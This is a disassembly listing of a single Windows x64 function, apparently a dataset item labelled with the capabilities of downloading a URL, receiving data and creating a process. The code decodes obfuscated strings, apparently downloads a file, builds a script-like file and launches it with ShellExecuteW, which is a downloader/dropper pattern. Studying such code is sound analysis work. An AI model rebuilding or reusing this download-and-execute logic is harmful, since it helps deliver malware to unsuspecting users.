Function at 0x14001ebf4
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
jmp 0x14003e500
push r13
push rbp
push rdi
mov eax, 0x1ac0
call fcn.14001e366
sub rsp, rax
lea r13, [rsp + 0x30]
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
lea rdi, [rsp + 0x30]
mov ecx, 0x524
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14006d040]
xor rax, r13
mov qword [rbp + 0x1a60], rax
lea rcx, [0x140078121]
call fcn.14001f185
lea rcx, [rbp + 8]
call fcn.14001e5a5
nop
mov edx, 0x10
lea rcx, [rbp + 0x48]
call fcn.14001e64a
movzx eax, byte [rbp + 0x994]
mov byte [rbp + 0xa54], al
movzx eax, byte [rbp + 0xa54]
mov byte [rbp + 0xa74], al
lea rax, [rbp + 0x9b8]
mov qword [rbp + 0x9e8], rax
mov rdi, qword [rbp + 0x9e8]
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov rcx, qword [rbp + 0x9e8]
call fcn.14001e00f
mov qword [rbp + 0x1a28], rax
mov rax, qword [rbp + 0x1a28]
mov qword [rbp + 0x1a30], rax
mov rax, qword [rbp + 0x1a30]
mov qword [rbp + 0x1a38], rax
lea rax, [rbp + 0xa08]
mov qword [rbp + 0xa38], rax
lea rdx, [rbp + 8]
mov rcx, qword [rbp + 0xa38]
call fcn.14001f16c
mov qword [rbp + 0x1a40], rax
mov rax, qword [rbp + 0x1a40]
mov qword [rbp + 0x1a48], rax
movzx r9d, byte [rbp + 0xa74]
mov r8, qword [rbp + 0x1a38]
mov rdx, qword [rbp + 0x1a48]
lea rcx, [rbp + 0x48]
call fcn.140029d20
nop
lea rax, [rbp + 0xab8]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rcx, [rbp + 0xab8]
call fcn.14001e00f
mov qword [rbp + 0x1a28], rax
mov rdx, qword [rbp + 0x1a28]
lea rcx, [rbp + 0x48]
call fcn.14001eb2c
movzx eax, al
test eax, eax
jne 0x14003e668
mov dword [rbp + 0x1a30], 1
jmp 0x14003e672
mov dword [rbp + 0x1a30], 0
movzx eax, byte [rbp + 0x1a30]
mov byte [rbp + 0xa94], al
lea rcx, [rbp + 0xab8]
call fcn.14001e1e0
movzx eax, byte [rbp + 0xa94]
test eax, eax
je 0x14003e864
lea rcx, [rbp + 0x48]
call fcn.14001e4d8
mov rcx, rax
call fcn.14001eacd
mov qword [rbp + 0x1a28], rax
lea rdx, [rbp + 0xae8]
mov rcx, qword [rbp + 0x1a28]
call fcn.14001e816
mov qword [rbp + 0x1a30], rax
mov rax, qword [rbp + 0x1a30]
mov qword [rbp + 0x1a38], rax
mov rax, qword [rbp + 0x1a38]
mov qword [rbp + 0x1a40], rax
lea rdx, [rbp + 0x78]
mov rcx, qword [rbp + 0x1a40]
call fcn.14001e32a
nop
lea rcx, [rbp + 0xae8]
call fcn.14001f00e
lea rax, [rbp + 0xb54]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xb74]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xb54]
movzx r8d, byte [rbp + 0xb74]
movzx edx, byte [rbp + 0xb94]
lea rcx, [rbp + 0xb30]
call fcn.140023020
mov rcx, rax
call fcn.14001e087
mov rdx, rax
lea rcx, [rbp + 0xb8]
call fcn.14001e7fd
nop
xor r8d, r8d
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0xbb8]
call fcn.14001edfc
nop
lea rcx, [rbp + 0x48]
call fcn.14001e4d8
mov rcx, rax
call fcn.14001eacd
mov qword [rbp + 0x1a28], rax
lea rdx, [rbp + 0xbf8]
mov rcx, qword [rbp + 0x1a28]
call fcn.14001e078
mov qword [rbp + 0x1a30], rax
mov rax, qword [rbp + 0x1a30]
mov qword [rbp + 0x1a38], rax
lea r8, [rbp + 0xbb8]
mov rdx, qword [rbp + 0x1a38]
lea rcx, [rbp + 0xc38]
call fcn.14001efdc
mov qword [rbp + 0x1a40], rax
mov rax, qword [rbp + 0x1a40]
mov qword [rbp + 0x1a48], rax
mov rax, qword [rbp + 0x1a48]
mov qword [rbp + 0x1a50], rax
lea rcx, [rbp + 0x48]
call fcn.14001e4d8
mov rcx, rax
call fcn.14001eacd
mov qword [rbp + 0x1a58], rax
mov rdx, qword [rbp + 0x1a50]
mov rcx, qword [rbp + 0x1a58]
call fcn.14001f29d
nop
lea rcx, [rbp + 0xc38]
call fcn.14001f00e
nop
lea rcx, [rbp + 0xbf8]
call fcn.14001f00e
nop
lea rcx, [rbp + 0xbb8]
call fcn.14001f00e
nop
lea rcx, [rbp + 0xb8]
call fcn.14001e375
nop
lea rcx, [rbp + 0x78]
call fcn.14001e375
nop
lea rcx, [rbp + 0x48]
call fcn.14001e1e0
nop
lea rcx, [rbp + 8]
call fcn.14001f00e
lea rcx, [rbp + 0xf8]
call fcn.14001e5a5
nop
mov edx, 0x10
lea rcx, [rbp + 0x138]
call fcn.14001e64a
movzx eax, byte [rbp + 0xc74]
mov byte [rbp + 0xd34], al
movzx eax, byte [rbp + 0xd34]
mov byte [rbp + 0xd54], al
lea rax, [rbp + 0xc98]
mov qword [rbp + 0xcc8], rax
mov rdi, qword [rbp + 0xcc8]
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov rcx, qword [rbp + 0xcc8]
call fcn.14001e00f
mov qword [rbp + 0x1a28], rax
mov rax, qword [rbp + 0x1a28]
mov qword [rbp + 0x1a30], rax
mov rax, qword [rbp + 0x1a30]
mov qword [rbp + 0x1a38], rax
lea rax, [rbp + 0xce8]
mov qword [rbp + 0xd18], rax
lea rdx, [rbp + 0xf8]
mov rcx, qword [rbp + 0xd18]
call fcn.14001f16c
mov qword [rbp + 0x1a40], rax
mov rax, qword [rbp + 0x1a40]
mov qword [rbp + 0x1a48], rax
movzx r9d, byte [rbp + 0xd54]
mov r8, qword [rbp + 0x1a38]
mov rdx, qword [rbp + 0x1a48]
lea rcx, [rbp + 0x138]
call fcn.140029f20
nop
lea rax, [rbp + 0xd98]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rcx, [rbp + 0xd98]
call fcn.14001e00f
mov qword [rbp + 0x1a28], rax
mov rdx, qword [rbp + 0x1a28]
lea rcx, [rbp + 0x138]
call fcn.14001eb2c
movzx eax, al
test eax, eax
jne 0x14003e9a1
mov dword [rbp + 0x1a30], 1
jmp 0x14003e9ab
mov dword [rbp + 0x1a30], 0
movzx eax, byte [rbp + 0x1a30]
mov byte [rbp + 0xd74], al
lea rcx, [rbp + 0xd98]
call fcn.14001e1e0
movzx eax, byte [rbp + 0xd74]
test eax, eax
je 0x14003ebac
lea rcx, [rbp + 0x138]
call fcn.14001e4d8
mov rcx, rax
call fcn.14001eacd
mov qword [rbp + 0x1a28], rax
lea rdx, [rbp + 0xdc8]
mov rcx, qword [rbp + 0x1a28]
call fcn.14001e816
mov qword [rbp + 0x1a30], rax
mov rax, qword [rbp + 0x1a30]
mov qword [rbp + 0x1a38], rax
mov rax, qword [rbp + 0x1a38]
mov qword [rbp + 0x1a40], rax
lea rdx, [rbp + 0x168]
mov rcx, qword [rbp + 0x1a40]
call fcn.14001e32a
nop
lea rcx, [rbp + 0xdc8]
call fcn.14001f00e
lea rax, [rbp + 0xe34]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xe54]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xe34]
movzx r8d, byte [rbp + 0xe54]
movzx edx, byte [rbp + 0xe74]
lea rcx, [rbp + 0xe10]
call fcn.1400230b0
mov rcx, rax
call fcn.14001e087
mov rdx, rax
lea rcx, [rbp + 0x1a8]
call fcn.14001e7fd
nop
xor r8d, r8d
lea rdx, [rbp + 0x1a8]
lea rcx, [rbp + 0xe98]
call fcn.14001edfc
nop
lea rcx, [rbp + 0x138]
call fcn.14001e4d8
mov rcx, rax
call fcn.14001eacd
mov qword [rbp + 0x1a28], rax
lea rdx, [rbp + 0xed8]
mov rcx, qword [rbp + 0x1a28]
call fcn.14001e078
mov qword [rbp + 0x1a30], rax
mov rax, qword [rbp + 0x1a30]
mov qword [rbp + 0x1a38], rax
lea r8, [rbp + 0xe98]
mov rdx, qword [rbp + 0x1a38]
lea rcx, [rbp + 0xf18]
call fcn.14001efdc
mov qword [rbp + 0x1a40], rax
mov rax, qword [rbp + 0x1a40]
mov qword [rbp + 0x1a48], rax
mov rax, qword [rbp + 0x1a48]
mov qword [rbp + 0x1a50], rax
lea rcx, [rbp + 0x138]
call fcn.14001e4d8
mov rcx, rax
call fcn.14001eacd
mov qword [rbp + 0x1a58], rax
mov rdx, qword [rbp + 0x1a50]
mov rcx, qword [rbp + 0x1a58]
call fcn.14001f29d
nop
lea rcx, [rbp + 0xf18]
call fcn.14001f00e
nop
lea rcx, [rbp + 0xed8]
call fcn.14001f00e
nop
lea rcx, [rbp + 0xe98]
call fcn.14001f00e
nop
lea rcx, [rbp + 0x1a8]
call fcn.14001e375
nop
lea rcx, [rbp + 0x168]
call fcn.14001e375
nop
lea rcx, [rbp + 0x138]
call fcn.14001e1e0
nop
lea rcx, [rbp + 0xf8]
call fcn.14001f00e
lea rax, [rbp + 0xf94]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0xfb4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0xf94]
movzx r8d, byte [rbp + 0xfb4]
movzx edx, byte [rbp + 0xfd4]
lea rcx, [rbp + 0xf60]
call fcn.140023140
mov rcx, rax
call fcn.14001e13b
mov qword [rbp + 0x1e8], rax
lea rax, [rbp + 0x1074]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1094]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1074]
movzx r8d, byte [rbp + 0x1094]
movzx edx, byte [rbp + 0x10b4]
lea rcx, [rbp + 0x1000]
call fcn.140023210
mov rcx, rax
call fcn.14001ef64
mov qword [rbp + 0x208], rax
lea rax, [rbp + 0x1154]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1174]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1154]
movzx r8d, byte [rbp + 0x1174]
movzx edx, byte [rbp + 0x1194]
lea rcx, [rbp + 0x10e0]
call fcn.1400233b0
mov rcx, rax
call fcn.14001e58c
mov qword [rbp + 0x228], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x208]
mov rdx, qword [rbp + 0x1e8]
xor ecx, ecx
call fcn.14001eff5
mov dword [rbp + 0x244], eax
cmp dword [rbp + 0x244], 0
jl 0x14003f1ff
mov edx, 0x108
lea rcx, [rbp + 0x270]
call fcn.14001e87f
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
mov rdx, qword [rbp + 0x228]
lea rcx, [rbp + 0x270]
call fcn.14001e857
nop
lea rcx, [rbp + 0x270]
call fcn.14001ec30
movzx eax, al
test eax, eax
je 0x14003f0ff
lea rax, [rbp + 0x11f4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1214]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x11f4]
movzx r8d, byte [rbp + 0x1214]
movzx edx, byte [rbp + 0x1234]
lea rcx, [rbp + 0x11c0]
call fcn.140023550
mov rcx, rax
call fcn.14001edac
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.14001e929
lea rax, [rbp + 0x1284]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x12a4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1284]
movzx r8d, byte [rbp + 0x12a4]
movzx edx, byte [rbp + 0x12c4]
lea rcx, [rbp + 0x1260]
call fcn.140023620
mov rcx, rax
call fcn.14001ef9b
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.14001e929
lea rax, [rbp + 0x1354]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1374]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1354]
movzx r8d, byte [rbp + 0x1374]
movzx edx, byte [rbp + 0x1394]
lea rcx, [rbp + 0x1300]
call fcn.1400224a0
mov rcx, rax
call fcn.14001e091
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.14001e929
lea rax, [rbp + 0x1474]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1494]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1474]
movzx r8d, byte [rbp + 0x1494]
movzx edx, byte [rbp + 0x14b4]
lea rcx, [rbp + 0x13c0]
call fcn.1400225f0
mov rcx, rax
call fcn.14001e5aa
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.14001e929
lea rax, [rbp + 0x1554]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1574]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1554]
movzx r8d, byte [rbp + 0x1574]
movzx edx, byte [rbp + 0x1594]
lea rcx, [rbp + 0x14e0]
call fcn.1400228e0
mov rcx, rax
call fcn.14001e58c
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.14001e929
lea rax, [rbp + 0x1674]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1694]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1674]
movzx r8d, byte [rbp + 0x1694]
movzx edx, byte [rbp + 0x16b4]
lea rcx, [rbp + 0x1650]
call fcn.140022a80
mov rcx, rax
call fcn.14001e771
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.14001e929
mov rdx, qword [rbp + 0x208]
mov rcx, rax
call fcn.14001e929
mov qword [rbp + 0x1a28], rax
lea rax, [rbp + 0x15e4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1604]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x15e4]
movzx r8d, byte [rbp + 0x1604]
movzx edx, byte [rbp + 0x1624]
lea rcx, [rbp + 0x15c0]
call fcn.140022b10
mov rcx, rax
call fcn.14001ecfd
mov qword [rbp + 0x1a30], rax
mov rdx, qword [rbp + 0x1a30]
mov rcx, qword [rbp + 0x1a28]
call fcn.14001e929
lea rax, [rbp + 0x1794]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x17b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1794]
movzx r8d, byte [rbp + 0x17b4]
movzx edx, byte [rbp + 0x17d4]
lea rcx, [rbp + 0x1770]
call fcn.140022ba0
mov rcx, rax
call fcn.14001e771
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.14001e929
mov rdx, qword [rbp + 0x228]
mov rcx, rax
call fcn.14001e929
mov qword [rbp + 0x1a28], rax
lea rax, [rbp + 0x1704]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1724]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1704]
movzx r8d, byte [rbp + 0x1724]
movzx edx, byte [rbp + 0x1744]
lea rcx, [rbp + 0x16e0]
call fcn.140022c30
mov rcx, rax
call fcn.14001ecfd
mov qword [rbp + 0x1a30], rax
mov rdx, qword [rbp + 0x1a30]
mov rcx, qword [rbp + 0x1a28]
call fcn.14001e929
lea rcx, [rbp + 0x270]
call fcn.14001e1fe
lea rax, [rbp + 0x1824]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1844]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1824]
movzx r8d, byte [rbp + 0x1844]
movzx edx, byte [rbp + 0x1864]
lea rcx, [rbp + 0x1800]
call fcn.140022cc0
mov rcx, rax
call fcn.14001e771
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x208]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rax, [rbp + 0x18b4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x18d4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x18b4]
movzx r8d, byte [rbp + 0x18d4]
movzx edx, byte [rbp + 0x18f4]
lea rcx, [rbp + 0x1890]
call fcn.140022d50
mov rcx, rax
call fcn.14001e771
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x228]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
nop
lea rcx, [rbp + 0x270]
call fcn.14001f167
jmp 0x14003f2cb
lea rax, [rbp + 0x1944]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x1964]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x1944]
movzx r8d, byte [rbp + 0x1964]
movzx edx, byte [rbp + 0x1984]
lea rcx, [rbp + 0x1920]
call fcn.140022f90
mov rcx, rax
call fcn.14001e7e9
mov qword [rbp + 0x1a28], rax
lea rax, [rbp + 0x19d4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rbp + 0x19f4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
movzx r9d, byte [rbp + 0x19d4]
movzx r8d, byte [rbp + 0x19f4]
movzx edx, byte [rbp + 0x1a14]
lea rcx, [rbp + 0x19b0]
call fcn.140022de0
mov rcx, rax
call fcn.14001ea9b
mov qword [rbp + 0x1a30], rax
mov r9d, 0x10
mov r8, qword [rbp + 0x1a28]
mov rdx, qword [rbp + 0x1a30]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x140061f10]
call fcn.14001ee83
mov eax, edi
mov rcx, qword [rbp + 0x1a60]
xor rcx, r13
call fcn.14001e88e
lea rsp, [r13 + 0x1a90]
pop rdi
pop rbp
pop r13
ret